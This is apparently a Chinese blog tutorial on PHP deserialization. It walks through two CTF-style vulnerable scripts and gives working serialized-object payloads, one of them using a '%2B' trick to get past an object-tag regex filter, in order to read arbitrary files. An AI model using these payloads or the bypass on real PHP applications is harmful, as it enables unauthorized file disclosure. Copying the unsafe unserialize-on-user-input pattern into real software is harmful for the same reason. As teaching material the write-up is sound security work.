0%

PHP反序列化基本原理

看完Java的反序列化之后,再看PHP的就很容易,毕竟PHP的反序列化的结果是文本格式。

序列化/反序列化Demo

php的序列化/反序列化的函数主要是serialize和unserialize,参考“最通俗易懂的PHP反序列化原理分析”一文,示例代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
class Person {
public $name = "Anemone";
public $sex = "man";
public $age = 18;
public function toString(){
return $this->name." ".$this->sex." ".$this->age;
}
}

$person = new Person();
$person->age=19;
// 序列化
$serialized=serialize($person);
echo $serialized;
echo "\n";
// 反序列化
$new_person=unserialize($serialized);
echo print_r($new_person);
echo "\n";

运行结果:

1546324598743

序列化结构

仔细看一下PHP序列化结构,可以看到序列化是只保存对象值而不保存对象代码,所以在java篇时我们需要构造POP链来调用已存在的代码片段,这也是一开始反序列化问题没有被重视的原因。

1546326095061

例题1

unserialize1.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
class Shield {
public $file;
function __construct($filename = '') {
$this -> file = $filename;
}
function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
return @file_get_contents($this->file);
}
}
}
$x = new Shield();
isset($_GET['class']) && $g = $_GET['class'];
if (!empty($g)) {
$x = unserialize($g);
}
echo $x->readfile();
?>

很明显的一个反序列化造成的文件包含漏洞,我们构造一个Shield对象,将其$file设为要读取的文件,再将其序列化即可,有如下payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class Shield {
public $file;
function __construct($filename = '') {
$this -> file = $filename;
}
function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
return @file_get_contents($this->file);
}
}
}
$x = new Shield();
$x->file="unserialize1.php";
echo serialize($x);
?>

得到O:6:"Shield":1:{s:4:"file";s:16:"unserialize1.php";};

传入get参数得到文件:

1546327261841

例题2(+正则绕过 )

unserialize2.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
@error_reporting(1);
class baby
{
public $file;
function __toString()
{
if(isset($this->file))
{
$filename = "./{$this->file}";
if (file_get_contents($filename))
{
return file_get_contents($filename);
}
}
}
}
if (isset($_GET['data']))
{
$data = $_GET['data'];
preg_match('/[oc]:\d+:/i',$data,$matches);
if(count($matches))
{
die('Hacker!');
}
else
{
$good = unserialize($data);
echo $good;
}
}
else
{
echo "hello world";
}
?>

注意到过滤规则/[oc]:\d+:/i,因为O是对象标记,避免不了,但是后面的数字可以做点文章,比如说O:4:"baby"==O:%2B4:"baby"(%2B是编码后的+号,这里参考了”2018年安恒杯月赛Write Up-12月赛更新“一文,作者在该位置使用fuzz来找到改符号的方法值得我们学习:o:%<FUZZ_POINT>4:"baby"),按此思路先生成序列化对象:

得到O:4:"baby":1:{s:4:"file";s:16:"unserialize2.php";}.

再传入data=O:%2B4:"baby":1:{s:4:"file";s:16:"unserialize2.php";}得到文件包含:

1546328179116

参考链接

  1. 最通俗易懂的PHP反序列化原理分析
  2. 2018年安恒杯月赛Write Up-12月赛更新